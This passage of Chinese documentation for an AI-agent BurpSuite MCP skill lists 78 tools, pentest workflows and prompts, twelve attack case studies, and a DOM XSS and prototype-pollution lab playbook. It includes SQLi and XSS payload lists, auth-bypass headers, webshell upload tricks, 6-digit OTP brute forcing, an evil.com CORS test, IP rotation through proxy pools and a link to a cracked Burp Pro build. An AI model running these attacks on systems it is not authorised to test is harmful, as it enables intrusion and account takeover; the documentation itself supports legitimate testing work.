按 OWASP Top 10 分类,找出潜在漏洞。
|
||||
对可疑端点,发到 Repeater 让我手动验证。
|
||||
```
|
||||
|
||||
### 场景 2:自动化枚举攻击(Intruder)
|
||||
|
||||
**何时使用**:需要对参数做暴力枚举(验证码、ID、路径等)
|
||||
|
||||
**工作流**:
|
||||
```
|
||||
1. AI 调用 intruder_attack_async → 多线程数字范围枚举
|
||||
2. 或 intruder_attack_wordlist → 字典攻击
|
||||
3. 或 intruder_cluster_bomb → 多参数笛卡尔积
|
||||
4. 通过 success_length_not 参数自动识别成功响应
|
||||
5. AI 报告命中结果
|
||||
```
|
||||
|
||||
**示例调用**:
|
||||
```json
|
||||
{
|
||||
"tool": "intruder_attack_async",
|
||||
"params": {
|
||||
"url_template": "https://target.com/api/verify?code=@@",
|
||||
"method": "POST",
|
||||
"from": 0,
|
||||
"to": 999999,
|
||||
"pad_digits": 6,
|
||||
"threads": 50,
|
||||
"success_length_not": 176
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 场景 3:OOB 漏洞检测(Collaborator)
|
||||
|
||||
**何时使用**:测试 SSRF、XXE、盲注等需要外带数据的漏洞
|
||||
|
||||
**工作流**:
|
||||
```
|
||||
1. AI 调用 collaborator_generate → 生成 payload
|
||||
2. AI 将 payload 注入到请求中发送
|
||||
3. 等待几秒
|
||||
4. AI 调用 collaborator_poll → 检查是否有回连
|
||||
5. 有回连 = 漏洞确认
|
||||
```
|
||||
|
||||
### 场景 4:请求修改与重放(Repeater)
|
||||
|
||||
**何时使用**:需要修改请求参数验证漏洞
|
||||
|
||||
**工作流**:
|
||||
```
|
||||
1. AI 调用 proxy_detail → 获取原始请求
|
||||
2. AI 调用 repeater_modify_send → 修改 header/body 后重发
|
||||
3. 分析响应差异
|
||||
4. 确认漏洞
|
||||
```
|
||||
|
||||
### 场景 5:自动化 DAST 扫描
|
||||
|
||||
**何时使用**:对目标做全面漏洞扫描
|
||||
|
||||
**工作流**:
|
||||
```
|
||||
1. AI 调用 add_to_scope → 添加目标到范围
|
||||
2. AI 调用 crawl → 触发爬虫
|
||||
3. 等待扫描完成
|
||||
4. AI 调用 scan_results → 获取发现的漏洞
|
||||
5. AI 调用 scan_issue_detail → 获取漏洞详情
|
||||
6. AI 生成报告
|
||||
```
|
||||
|
||||
### 场景 6:流量自动修改(HTTP Handler)
|
||||
|
||||
**何时使用**:需要自动给所有请求加 header、替换内容
|
||||
|
||||
**工作流**:
|
||||
```
|
||||
1. AI 调用 register_http_handler → 注册自动修改规则
|
||||
- 自动添加认证 header
|
||||
- 自动替换请求中的某些值
|
||||
2. 所有经过 Burp 的请求自动被修改
|
||||
3. 完成后调用 remove_http_handler 清除规则
|
||||
```
|
||||
|
||||
### 场景 7:Cookie/Session 分析
|
||||
|
||||
**何时使用**:分析 session token 的随机性和安全性
|
||||
|
||||
**工作流**:
|
||||
```
|
||||
1. AI 调用 cookie_jar → 获取所有 cookie
|
||||
2. AI 调用 token_analysis → 分析 token 熵值
|
||||
3. AI 调用 sequencer → 批量分析 token 随机性
|
||||
4. 判断 session 是否可预测
|
||||
```
|
||||
|
||||
## 完整工具列表(78 个)
|
||||
|
||||
### Proxy 模块
|
||||
| 工具 | 参数 | 说明 |
|
||||
|------|------|------|
|
||||
| `proxy_history` | limit, offset, url_filter, method_filter, status_filter | 获取代理历史 |
|
||||
| `proxy_detail` | index | 获取指定条目完整请求/响应 |
|
||||
| `proxy_websocket` | limit | WebSocket 消息历史 |
|
||||
| `proxy_history_filtered` | has_notes, color, limit | 按注解/颜色过滤 |
|
||||
| `proxy_clear` | — | 清空历史 |
|
||||
|
||||
### HTTP 请求
|
||||
| 工具 | 参数 | 说明 |
|
||||
|------|------|------|
|
||||
| `send_request` | method, url, body, headers | 通过 Burp 发请求 |
|
||||
| `repeater_send` | request, host, port, https | 发送并获取响应 |
|
||||
| `repeater_modify_send` | request, host, replace_header, add_header, replace_body | 修改后重发 |
|
||||
| `send_to_repeater` | request, tab_name | 发到 Repeater tab |
|
||||
|
||||
### Intruder 攻击
|
||||
| 工具 | 参数 | 说明 |
|
||||
|------|------|------|
|
||||
| `send_to_intruder` | request | 发到 Intruder |
|
||||
| `intruder_attack` | url_template, from, to, pad_digits, method, success_length_not | 数字枚举(同步) |
|
||||
| `intruder_attack_async` | 同上 + threads | 多线程并发枚举 |
|
||||
| `intruder_attack_wordlist` | url_template, wordlist, method | 字典攻击 |
|
||||
| `intruder_pitchfork` | url_template, placeholders, method | 多参数并行 |
|
||||
| `intruder_cluster_bomb` | url_template, placeholders, max_requests | 笛卡尔积 |
|
||||
| `intruder_battering_ram` | url_template, wordlist, placeholder | 同 payload 填所有位置 |
|
||||
| `intruder_with_options` | 同上 + throttle_ms, payload_encoding, grep_extract, record_time | 高级选项 |
|
||||
|
||||
### Scanner
|
||||
| 工具 | 参数 | 说明 |
|
||||
|------|------|------|
|
||||
| `scan` | url | 扫描引导 |
|
||||
| `scan_active` | request, host, port | 主动扫描指定请求 |
|
||||
| `scan_results` | limit | 获取漏洞列表 |
|
||||
| `scan_issue_detail` | index | 漏洞详情 |
|
||||
| `crawl` | url | 爬虫 |
|
||||
|
||||
### Scope
|
||||
| 工具 | 参数 | 说明 |
|
||||
|------|------|------|
|
||||
| `get_scope` | url | 查询是否在范围内 |
|
||||
| `add_to_scope` | url | 添加 |
|
||||
| `remove_from_scope` | url | 移除 |
|
||||
|
||||
### Collaborator
|
||||
| 工具 | 参数 | 说明 |
|
||||
|------|------|------|
|
||||
| `collaborator_generate` | count | 生成 OOB payload |
|
||||
| `collaborator_poll` | — | 轮询交互 |
|
||||
|
||||
### 编码/工具
|
||||
| 工具 | 参数 | 说明 |
|
||||
|------|------|------|
|
||||
| `encode` | input, type(base64/url/hex) | 编码 |
|
||||
| `decode` | input, type | 解码 |
|
||||
| `payload_process` | input, operation | 高级处理(md5/sha1/sha256/reverse等) |
|
||||
| `convert_request` | request, convert_to | 转换请求方法 |
|
||||
| `export_request` | request, host, format(curl/python) | 导出为代码 |
|
||||
| `generate_csrf_poc` | request, host | 生成 CSRF PoC |
|
||||
| `extract_from_response` | index, regex | 正则提取响应内容 |
|
||||
|
||||
### 搜索/标注
|
||||
| 工具 | 参数 | 说明 |
|
||||
|------|------|------|
|
||||
| `search_history` | regex, search_in(url/request/response), limit | 正则搜索 |
|
||||
| `highlight` | index, color | 颜色标记 |
|
||||
| `annotate` | index, note | 添加注释 |
|
||||
| `compare` | index1, index2 | 响应对比 |
|
||||
|
||||
### 配置
|
||||
| 工具 | 参数 | 说明 |
|
||||
|------|------|------|
|
||||
| `export_config` | — | 导出项目配置 |
|
||||
| `import_config` | config | 导入配置 |
|
||||
| `set_upstream_proxy` | proxy_host, proxy_port, type | 设置上游代理 |
|
||||
| `set_dns_override` | hostname, ip | DNS 覆盖 |
|
||||
| `set_http2` | enable | HTTP/2 开关 |
|
||||
|
||||
### Handler(自动修改)
|
||||
| 工具 | 参数 | 说明 |
|
||||
|------|------|------|
|
||||
| `register_http_handler` | header_name, header_value 或 match, replace | 注册自动修改规则 |
|
||||
| `remove_http_handler` | — | 清除规则 |
|
||||
| `register_proxy_rule` | url_contains | 注册拦截规则 |
|
||||
| `remove_proxy_rule` | — | 清除规则 |
|
||||
|
||||
### 分析
|
||||
| 工具 | 参数 | 说明 |
|
||||
|------|------|------|
|
||||
| `cookie_jar` | limit, domain | Cookie 管理 |
|
||||
| `token_analysis` | tokens(array) | Token 熵值分析 |
|
||||
| `sequencer` | tokens(array) | 序列随机性分析 |
|
||||
| `target_info` | url | 目标技术栈识别 |
|
||||
|
||||
### 系统
|
||||
| 工具 | 参数 | 说明 |
|
||||
|------|------|------|
|
||||
| `burp_version` | — | Burp 版本信息 |
|
||||
| `add_issue` | name, url, detail, severity | 手动添加漏洞 |
|
||||
| `extensions_list` | — | 扩展信息 |
|
||||
| `save_project` | — | 保存项目 |
|
||||
| `log` | message, level | 写日志 |
|
||||
|
||||
## AI 渗透测试最佳实践 Prompt
|
||||
|
||||
### 全面分析 Prompt
|
||||
```
|
||||
你是一名高级渗透测试工程师。请分析 Burp 代理历史中的所有请求:
|
||||
1. 按 OWASP Top 10 分类潜在漏洞
|
||||
2. 对每个发现给出风险等级和利用方法
|
||||
3. 将高风险请求发到 Repeater
|
||||
4. 不要发送破坏性请求
|
||||
5. 生成结构化报告
|
||||
```
|
||||
|
||||
### 定向攻击 Prompt
|
||||
```
|
||||
目标:https://target.com/api/
|
||||
1. 搜索代理历史中所有 API 端点
|
||||
2. 识别认证/授权问题
|
||||
3. 测试 IDOR(修改 ID 参数)
|
||||
4. 测试 Mass Assignment(添加额外字段)
|
||||
5. 报告所有发现
|
||||
```
|
||||
|
||||
### 验证码爆破 Prompt
|
||||
```
|
||||
使用 intruder_attack_async 对以下端点进行 6 位数字验证码枚举:
|
||||
URL: https://target.com/api/verify?code=@@
|
||||
方法: POST
|
||||
范围: 000000-999999
|
||||
线程: 50
|
||||
成功判断: 响应长度不等于 176
|
||||
```
|
||||
|
||||
## 与技能路由的集成
|
||||
|
||||
### 触发条件
|
||||
当用户提到以下关键词时,自动使用 BurpSuite MCP:
|
||||
- "Burp 分析"、"代理历史"、"抓包分析"
|
||||
- "Intruder 爆破"、"枚举攻击"
|
||||
- "Repeater 重放"、"修改请求"
|
||||
- "Collaborator"、"OOB 测试"
|
||||
- "DAST 扫描"、"主动扫描"
|
||||
|
||||
### 前置检查
|
||||
1. 确认 Burp 是否在运行:`GET http://127.0.0.1:9876/health`
|
||||
2. 如果不在线 → 提示用户启动 Burp
|
||||
3. 如果未安装 → 提供下载链接和安装步骤
|
||||
|
||||
### 与其他 skill 的配合
|
||||
- `js-reverse` 发现加密逻辑 → Burp MCP 发送解密后的请求
|
||||
- `pentest-tools` Nmap 发现 Web 服务 → Burp MCP 做深度测试
|
||||
- `browser-automation` 自动化浏览 → Burp 捕获流量 → AI 分析
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 实战案例集(12 个场景)
|
||||
|
||||
### 案例 1:IDOR 漏洞自动发现
|
||||
|
||||
**场景**:目标网站有用户资料接口 `/api/user/123`,怀疑存在越权
|
||||
|
||||
**AI 操作流程**:
|
||||
```
|
||||
1. proxy_history → 过滤包含 /api/user/ 的请求
|
||||
2. proxy_detail → 获取原始请求
|
||||
3. repeater_modify_send → 修改 ID 参数(123→124→125)
|
||||
4. compare → 对比不同 ID 的响应
|
||||
5. 如果能看到其他用户数据 → 确认 IDOR
|
||||
```
|
||||
|
||||
**Prompt 示例**:
|
||||
```
|
||||
从 Burp 代理历史中找到所有包含用户 ID 的 API 请求。
|
||||
逐个修改 ID 参数(+1, -1, 0, 99999),对比响应。
|
||||
如果能获取其他用户数据,标记为 IDOR 漏洞。
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 案例 2:JWT Token 安全分析
|
||||
|
||||
**场景**:目标使用 JWT 认证,需要分析 token 安全性
|
||||
|
||||
**AI 操作流程**:
|
||||
```
|
||||
1. search_history → 搜索 "Authorization: Bearer" 或 "token"
|
||||
2. extract_from_response → 提取所有 JWT token
|
||||
3. decode → Base64 解码 JWT header 和 payload
|
||||
4. token_analysis → 分析 token 熵值
|
||||
5. 检查算法(none/HS256 弱密钥/RS256→HS256 混淆)
|
||||
```
|
||||
|
||||
**Prompt 示例**:
|
||||
```
|
||||
搜索代理历史中所有 JWT token。
|
||||
解码分析:算法是否安全?是否有敏感信息泄露?
|
||||
尝试 none 算法绕过和弱密钥爆破。
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 案例 3:API 端点全面发现与测试
|
||||
|
||||
**场景**:黑盒测试一个 SPA 应用,需要发现所有 API 端点
|
||||
|
||||
**AI 操作流程**:
|
||||
```
|
||||
1. 用户浏览器挂 Burp 代理正常使用网站
|
||||
2. proxy_history → 获取所有请求
|
||||
3. search_history → 正则提取 /api/ 开头的路径
|
||||
4. 对每个端点:
|
||||
- send_request → 测试未授权访问
|
||||
- repeater_modify_send → 修改 HTTP 方法(GET→PUT/DELETE)
|
||||
- intruder_attack_wordlist → 参数模糊测试
|
||||
5. 汇总所有发现
|
||||
```
|
||||
|
||||
**Prompt 示例**:
|
||||
```
|
||||
分析 Burp 代理历史,提取所有 API 端点。
|
||||
对每个端点测试:
|
||||
1. 去掉认证 header 看是否能访问(未授权)
|
||||
2. 换 HTTP 方法(GET→POST→PUT→DELETE)
|
||||
3. 添加 admin=true / role=admin 参数
|
||||
报告所有异常响应。
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 案例 4:SSRF 漏洞检测(配合 Collaborator)
|
||||
|
||||
**场景**:目标有 URL 参数(如头像上传、webhook 配置),怀疑 SSRF
|
||||
|
||||
**AI 操作流程**:
|
||||
```
|
||||
1. collaborator_generate → 生成 5 个 OOB payload
|
||||
2. search_history → 找到包含 URL 参数的请求
|
||||
3. repeater_modify_send → 将 URL 参数替换为 Collaborator payload
|
||||
4. 等待 10 秒
|
||||
5. collaborator_poll → 检查是否有 DNS/HTTP 回连
|
||||
6. 有回连 = SSRF 确认
|
||||
```
|
||||
|
||||
**Prompt 示例**:
|
||||
```
|
||||
生成 Collaborator payload。
|
||||
找到代理历史中所有包含 url=、redirect=、callback=、webhook= 参数的请求。
|
||||
逐个替换为 Collaborator payload 并发送。
|
||||
10 秒后检查是否有回连。
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 案例 5:SQL 注入检测
|
||||
|
||||
**场景**:目标有搜索/过滤功能,怀疑 SQL 注入
|
||||
|
||||
**AI 操作流程**:
|
||||
```
|
||||
1. search_history → 找到带参数的 GET/POST 请求
|
||||
2. intruder_attack_wordlist → 用 SQLi payload 列表测试
|
||||
wordlist: ["'", "' OR '1'='1", "1 UNION SELECT NULL--", "' AND SLEEP(5)--"]
|
||||
3. 对比响应长度和时间
|
||||
4. 时间盲注:intruder_with_options → record_time=true
|
||||
5. 响应时间 >5s 的 = 可能存在时间盲注
|
||||
```
|
||||
|
||||
**Prompt 示例**:
|
||||
```
|
||||
找到代理历史中所有带查询参数的请求。
|
||||
对每个参数用以下 payload 测试 SQL 注入:
|
||||
- 单引号报错
|
||||
- OR 1=1 布尔盲注
|
||||
- SLEEP(5) 时间盲注
|
||||
- UNION SELECT 联合查询
|
||||
记录响应时间,超过 5 秒的标记为疑似时间盲注。
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 案例 6:XSS 漏洞检测与验证
|
||||
|
||||
**场景**:目标有用户输入点(搜索框、评论、个人资料),测试 XSS
|
||||
|
||||
**AI 操作流程**:
|
||||
```
|
||||
1. search_history → 找到所有 POST 请求(表单提交)
|
||||
2. intruder_attack_wordlist → 用 XSS payload 列表
|
||||
wordlist: ["<script>alert(1)</script>", "<img src=x onerror=alert(1)>", "{{7*7}}"]
|
||||
3. extract_from_response → 检查 payload 是否在响应中原样反射
|
||||
4. 如果反射 → 确认反射型 XSS
|
||||
5. 再次访问页面检查是否持久化 → 存储型 XSS
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 案例 7:认证绕过测试
|
||||
|
||||
**场景**:目标有管理后台,测试认证是否可绕过
|
||||
|
||||
**AI 操作流程**:
|
||||
```
|
||||
1. proxy_history → 找到管理端 API 请求
|
||||
2. repeater_modify_send → 去掉 Cookie/Token header 重发
|
||||
3. repeater_modify_send → 用普通用户 token 替换管理员 token
|
||||
4. repeater_modify_send → 添加 X-Forwarded-For: 127.0.0.1
|
||||
5. convert_request → 改 HTTP 方法绕过
|
||||
6. 对比响应:如果返回 200 而非 401/403 → 认证绕过
|
||||
```
|
||||
|
||||
**Prompt 示例**:
|
||||
```
|
||||
找到代理历史中所有返回 403 的管理端请求。
|
||||
对每个请求尝试以下绕过:
|
||||
1. 去掉认证 header
|
||||
2. 添加 X-Forwarded-For: 127.0.0.1
|
||||
3. 添加 X-Original-URL 或 X-Rewrite-URL
|
||||
4. 改 HTTP 方法(GET→POST, POST→PUT)
|
||||
5. 路径大小写变换(/Admin → /admin → /ADMIN)
|
||||
6. 路径添加 ..;/ 或 %2e%2e/
|
||||
报告所有返回非 403 的尝试。
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 案例 8:文件上传漏洞测试
|
||||
|
||||
**场景**:目标有文件上传功能,测试是否可上传 WebShell
|
||||
|
||||
**AI 操作流程**:
|
||||
```
|
||||
1. search_history → 找到文件上传请求(multipart/form-data)
|
||||
2. proxy_detail → 获取原始上传请求
|
||||
3. repeater_modify_send → 修改文件名和 Content-Type:
|
||||
- test.php / test.jsp / test.aspx
|
||||
- Content-Type: image/png(绕过 MIME 检查)
|
||||
- 双扩展名:test.php.jpg
|
||||
- 空字节:test.php%00.jpg
|
||||
4. 检查响应中是否返回上传路径
|
||||
5. send_request → 访问上传路径验证是否执行
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 案例 9:Mass Assignment 自动检测
|
||||
|
||||
**场景**:目标使用 REST API,测试是否存在批量赋值漏洞
|
||||
|
||||
**AI 操作流程**:
|
||||
```
|
||||
1. search_history → 找到所有 PUT/PATCH 请求
|
||||
2. proxy_detail → 获取请求 body 结构
|
||||
3. repeater_modify_send → 在 body 中添加额外字段:
|
||||
- "role": "admin"
|
||||
- "isAdmin": true
|
||||
- "price": 0
|
||||
- "verified": true
|
||||
4. send_request → GET 用户信息验证字段是否被修改
|
||||
```
|
||||
|
||||
**Prompt 示例**:
|
||||
```
|
||||
找到代理历史中所有 PUT/PATCH 请求。
|
||||
对每个请求的 JSON body 添加以下字段后重发:
|
||||
- role: admin
|
||||
- isAdmin: true
|
||||
- status: active
|
||||
- balance: 99999
|
||||
然后 GET 对应资源检查字段是否被修改。
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 案例 10:验证码/OTP 暴力破解
|
||||
|
||||
**场景**:目标有验证码验证接口,测试是否有速率限制
|
||||
|
||||
**AI 操作流程**:
|
||||
```
|
||||
1. search_history → 找到验证码验证请求
|
||||
2. intruder_attack_async → 多线程枚举
|
||||
- url_template: https://target.com/api/verify?code=@@
|
||||
- from: 0, to: 999999, pad_digits: 6
|
||||
- threads: 50
|
||||
- success_length_not: <失败响应长度>
|
||||
3. 如果没有被限速 → 漏洞确认
|
||||
4. 如果命中 → 获取有效验证码
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 案例 11:CORS 配置错误利用
|
||||
|
||||
**场景**:测试目标的 CORS 配置是否允许任意来源
|
||||
|
||||
**AI 操作流程**:
|
||||
```
|
||||
1. proxy_detail → 获取一个认证后的 API 请求
|
||||
2. repeater_modify_send → 添加 Origin: https://evil.com
|
||||
3. extract_from_response → 检查 Access-Control-Allow-Origin
|
||||
4. 如果返回 evil.com 或 * → CORS 配置错误
|
||||
5. generate_csrf_poc → 生成利用 PoC
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 案例 12:完整渗透测试自动化流程
|
||||
|
||||
**场景**:对一个新目标做完整的 Web 渗透测试
|
||||
|
||||
**AI 完整操作流程**:
|
||||
```
|
||||
Phase 1: 信息收集
|
||||
1. add_to_scope → 添加目标
|
||||
2. crawl → 爬取站点
|
||||
3. proxy_history → 获取所有发现的页面
|
||||
4. target_info → 识别技术栈
|
||||
5. search_history → 提取所有 API 端点
|
||||
|
||||
Phase 2: 漏洞扫描
|
||||
6. scan_active → 对关键请求做主动扫描
|
||||
7. scan_results → 获取自动发现的漏洞
|
||||
8. 对每个端点做手动测试(SQLi/XSS/IDOR/SSRF)
|
||||
|
||||
Phase 3: 漏洞利用
|
||||
9. intruder_attack → 对确认的漏洞做深度利用
|
||||
10. collaborator_generate + collaborator_poll → OOB 验证
|
||||
11. repeater_modify_send → 手动验证和 PoC 构造
|
||||
|
||||
Phase 4: 报告
|
||||
12. scan_results + proxy_history → 汇总所有发现
|
||||
13. export_request → 导出关键请求为 curl 命令
|
||||
14. generate_csrf_poc → 生成 PoC
|
||||
15. AI 生成完整渗透测试报告
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 与其他 Skill 的联动场景
|
||||
|
||||
### JS 逆向 + Burp MCP
|
||||
```
|
||||
场景:前端 JS 加密了请求参数
|
||||
1. js-reverse skill → 分析加密逻辑,提取密钥
|
||||
2. register_http_handler → 注册自动解密/加密规则
|
||||
3. 之后所有经过 Burp 的请求自动被处理
|
||||
4. Intruder/Repeater 可以直接操作明文参数
|
||||
```
|
||||
|
||||
### APK 逆向 + Burp MCP
|
||||
```
|
||||
场景:Android APP 的 API 需要签名
|
||||
1. apk-reverse skill → 逆向签名算法
|
||||
2. register_http_handler → 注册自动签名规则
|
||||
3. 所有请求自动带正确签名
|
||||
4. 可以自由修改参数做测试
|
||||
```
|
||||
|
||||
### 浏览器自动化 + Burp MCP
|
||||
```
|
||||
场景:需要自动化浏览网站同时分析流量
|
||||
1. browser-automation skill → Playwright 自动浏览
|
||||
2. 浏览器设置 Burp 代理
|
||||
3. 自动化完成后 → proxy_history 获取所有流量
|
||||
4. AI 分析所有请求找漏洞
|
||||
```
|
||||
|
||||
### IDA 逆向 + Burp MCP
|
||||
```
|
||||
场景:分析一个 Web 应用的后端二进制
|
||||
1. 通过 Burp 抓到 API 请求格式
|
||||
2. ida-reverse skill → 逆向后端处理逻辑
|
||||
3. 发现内存溢出/逻辑漏洞
|
||||
4. 回到 Burp → 构造利用 payload
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 用户未安装 BurpSuite 时的引导
|
||||
|
||||
当 AI 检测到 `http://127.0.0.1:9876/health` 无响应时,输出以下引导:
|
||||
|
||||
```markdown
|
||||
⚠️ **BurpSuite MCP 服务不可用**
|
||||
|
||||
**下载安装 BurpSuite Pro**:
|
||||
- Windows(汉化一键启动版):https://www.52pojie.cn/thread-2005151-1-1.html
|
||||
- Linux / Kali:`sudo apt install burpsuite` 或从 https://portswigger.net/burp/releases 下载 .jar
|
||||
- macOS:从 https://portswigger.net/burp/releases 下载 .dmg
|
||||
|
||||
**安装步骤(Windows)**:
|
||||
1. 下载解压到任意目录(路径不要有中文)
|
||||
2. 双击 `Burp Suite_CN.bat` 启动
|
||||
3. 按提示完成激活
|
||||
|
||||
**安装步骤(Linux/Kali)**:
|
||||
1. `java -jar burpsuite_pro.jar` 启动
|
||||
2. 或使用 Kali 预装版:Applications → Web Application Analysis → Burp Suite
|
||||
|
||||
**加载 MCP 扩展**:
|
||||
1. 编译(仅首次):
|
||||
- Windows: 双击 `<SKILL_ROOT>\burp-mcp-full\build.bat`
|
||||
- Linux/macOS: `cd <SKILL_ROOT>/burp-mcp-full && chmod +x build.sh && ./build.sh`
|
||||
2. 打开 Burp → Extensions → Installed → Add
|
||||
3. Extension Type: Java
|
||||
4. Select file: `<SKILL_ROOT>/burp-mcp-full/build/libs/burp-mcp-full.jar`
|
||||
5. 看到 `[MCP] Server started on http://127.0.0.1:9876` 即成功
|
||||
|
||||
**配置 MCP 客户端**:
|
||||
在你的 AI 客户端 MCP 配置中添加:
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"burpsuite": {
|
||||
"command": "node",
|
||||
"args": ["<SKILL_ROOT>/burp-mcp-full/mcp-bridge.js"]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
> 将 `<SKILL_ROOT>` 替换为本包实际路径。Windows 用 `\\`,Linux/macOS 用 `/`。
|
||||
|
||||
**验证**:
|
||||
```bash
|
||||
curl http://127.0.0.1:9876/health
|
||||
# 应返回 {"status":"ok","version":"2.0.0","tools":[...]}
|
||||
```
|
||||
|
||||
**安装完成后告诉我,我继续当前任务。**
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 常见问题
|
||||
|
||||
### Q: 端口 9876 被占用怎么办?
|
||||
修改 `BurpMcpExtension.java` 中的端口号,重新编译。或关闭占用端口的程序。
|
||||
|
||||
### Q: 扩展加载失败?
|
||||
确认 Burp 使用的 Java 版本 ≥ 21。本扩展用 JDK 21 编译。
|
||||
|
||||
### Q: 响应是加密的怎么办?
|
||||
用 `extract_from_response` + 外部解密脚本处理。或在 `register_http_handler` 中注册自动解密规则。
|
||||
|
||||
### Q: Intruder 攻击太慢?
|
||||
使用 `intruder_attack_async` 并设置 `threads: 100+`。注意不要打崩目标。
|
||||
|
||||
### Q: 如何配合代理池使用?
|
||||
调用 `set_upstream_proxy` 设置上游代理为 ProxyCat 的端口,实现 IP 轮换。
|
||||
@@ -0,0 +1,155 @@
|
||||
# 客户端 / 现代 Web 靶场 Playbook(DOM XSS · 原型污染 · agent-browser)
|
||||
|
||||
> 来源:Gin & Juice / Juice Shop 类合法靶场实战摩擦(2026-07)
|
||||
> 适用:PortSwigger scanner-eval、OWASP Juice Shop、BB 前端面
|
||||
> **MUST** 先 scope + case-guard;命中≠打穿
|
||||
|
||||
## 0. 何时读本文件
|
||||
|
||||
```text
|
||||
□ 页面有大量前端 JS(React/Angular/Vue)
|
||||
□ 漏洞清单写着 DOM XSS / prototype pollution / CSTI
|
||||
□ curl 只能摸到 API,需要浏览器确认 sink
|
||||
□ Windows 上 URL 带 [] 被 curl 吃掉(见下)
|
||||
```
|
||||
|
||||
## 1. Windows curl 坑(`[]` 被当范围)
|
||||
|
||||
**错误:**
|
||||
|
||||
```bash
|
||||
curl "https://target/?__proto__[x]=1" # Windows curl: bad range in position ...
|
||||
```
|
||||
|
||||
**正确(必须):**
|
||||
|
||||
```bash
|
||||
curl.exe --globoff -sS "https://target/?__proto__[test]=polluted"
|
||||
curl.exe --globoff -sS -G "https://target/catalog" --data-urlencode "__proto__[test]=polluted"
|
||||
```
|
||||
|
||||
PowerShell 里优先:
|
||||
|
||||
```powershell
|
||||
curl.exe --globoff -sS --data-urlencode "q=test" "https://target/search"
|
||||
```
|
||||
|
||||
## 2. 三阶段:Surface → Sink → Chain
|
||||
|
||||
| 阶段 | 做什么 | 产出 |
|
||||
|------|--------|------|
|
||||
| Surface | 抓 HTML/JS,列 src、表单 action、API | `recon/js-urls.txt` |
|
||||
| Sink | 搜 `innerHTML` / `eval` / `location.hash` / `document.write` / `__proto__` | 候选 sink 列表 |
|
||||
| Chain | 找可控 source 能否到 sink(需 200 非数字 / 未转义反射 / merge 对象) | E-* + 是否 validated |
|
||||
|
||||
### 2.1 静态 sink 扫(本机)
|
||||
|
||||
```powershell
|
||||
# 下载页面脚本后
|
||||
rg -n "innerHTML|outerHTML|document\.write|eval\(|location\.hash|__proto__|parseFromString" recon\js\
|
||||
```
|
||||
|
||||
### 2.2 agent-browser 最小环
|
||||
|
||||
```powershell
|
||||
agent-browser open "https://target/page"
|
||||
agent-browser wait 2000
|
||||
agent-browser snapshot -i
|
||||
agent-browser screenshot work\case\screenshots\page.png
|
||||
agent-browser eval "document.getElementById('stockCheckResult')?.innerHTML"
|
||||
agent-browser close
|
||||
```
|
||||
|
||||
**纪律:**
|
||||
|
||||
```text
|
||||
□ 每次页面变化后重新 snapshot(ref 会失效)
|
||||
□ 用 eval 验证 sink,不要只靠猜
|
||||
□ 截图进 evidence/ 或 screenshots/
|
||||
```
|
||||
|
||||
## 3. DOM XSS:库存类 `innerHTML = fetchBody` 模式
|
||||
|
||||
典型代码(Gin & Juice 类):
|
||||
|
||||
```javascript
|
||||
fetch(path, { method, headers: { 'Content-Type': window.contentType }, body: payload(data) })
|
||||
.then(res => res.status === 200
|
||||
? res.text().then(t => isNaN(t) ? t : t + " units")
|
||||
: "Could not fetch stock levels!")
|
||||
.then(res => document.getElementById("stockCheckResult").innerHTML = res)
|
||||
```
|
||||
|
||||
**门闩:**
|
||||
|
||||
| 条件 | 结果 |
|
||||
|------|------|
|
||||
| status ≠ 200 | 固定错误文案,**无 XSS** |
|
||||
| status = 200 且 body 为数字 | 显示 `N units`,**无 XSS** |
|
||||
| status = 200 且 body 非数字 | **raw HTML → sink** |
|
||||
|
||||
**验证 sink(浏览器):**
|
||||
|
||||
```javascript
|
||||
// agent-browser eval
|
||||
var el = document.getElementById('stockCheckResult');
|
||||
el.innerHTML = '<b id=xssmark>SINK</b>';
|
||||
!!document.getElementById('xssmark'); // true => sink 实锤
|
||||
```
|
||||
|
||||
**利用前提:** 找到使 API **200 + 非数字 body** 的输入(XXE 回显、错误被错误配置成 200、开放代理等)。
|
||||
**没到利用仍要写 Evidence:** `status=observed`,写清门闩,避免假阳性「已 XSS」。
|
||||
|
||||
## 4. 原型污染(快检)
|
||||
|
||||
```powershell
|
||||
# URL 编码括号,且 --globoff
|
||||
curl.exe --globoff -sS "https://target/?__proto__%5Bpolluted%5D=yes"
|
||||
|
||||
# 浏览器
|
||||
agent-browser open "https://target/?__proto__%5Bpolluted%5D=yes"
|
||||
agent-browser eval "({}.polluted || Object.prototype.polluted || 'not-polluted')"
|
||||
```
|
||||
|
||||
```text
|
||||
□ not-polluted → 该路由没有浅合并 gadget,换 hash/postMessage/库入口
|
||||
□ polluted → 继续找 gadgets(script src、transport_url、isAdmin 等)
|
||||
```
|
||||
|
||||
## 5. 公共 demo 不稳时
|
||||
|
||||
```text
|
||||
□ Heroku demo 503 → 换本地 Docker / 另一合法靶 / 缩小请求速率
|
||||
□ Docker Desktop 已安装但 daemon 未 ready → 等引擎或跳过本地容器,记入 timeline
|
||||
□ 公开实例限流 → 优先读 JS 静态面,少打爆破
|
||||
```
|
||||
|
||||
## 6. Evidence 写法(防误报)
|
||||
|
||||
```text
|
||||
validated: 可复现利用(弹窗/读文件/越权成功)+ repro_command
|
||||
observed: sink/面存在,门闩未过(如仅 innerHTML 赋值能力、实体被拦)
|
||||
```
|
||||
|
||||
```powershell
|
||||
powershell -File skills\scripts\append-evidence.ps1 -CaseRoot work\case `
|
||||
-Id E-005 -Title "DOM XSS sink: #el.innerHTML = apiBody" `
|
||||
-ReproCommand "agent-browser eval ..." -Severity medium -Status observed `
|
||||
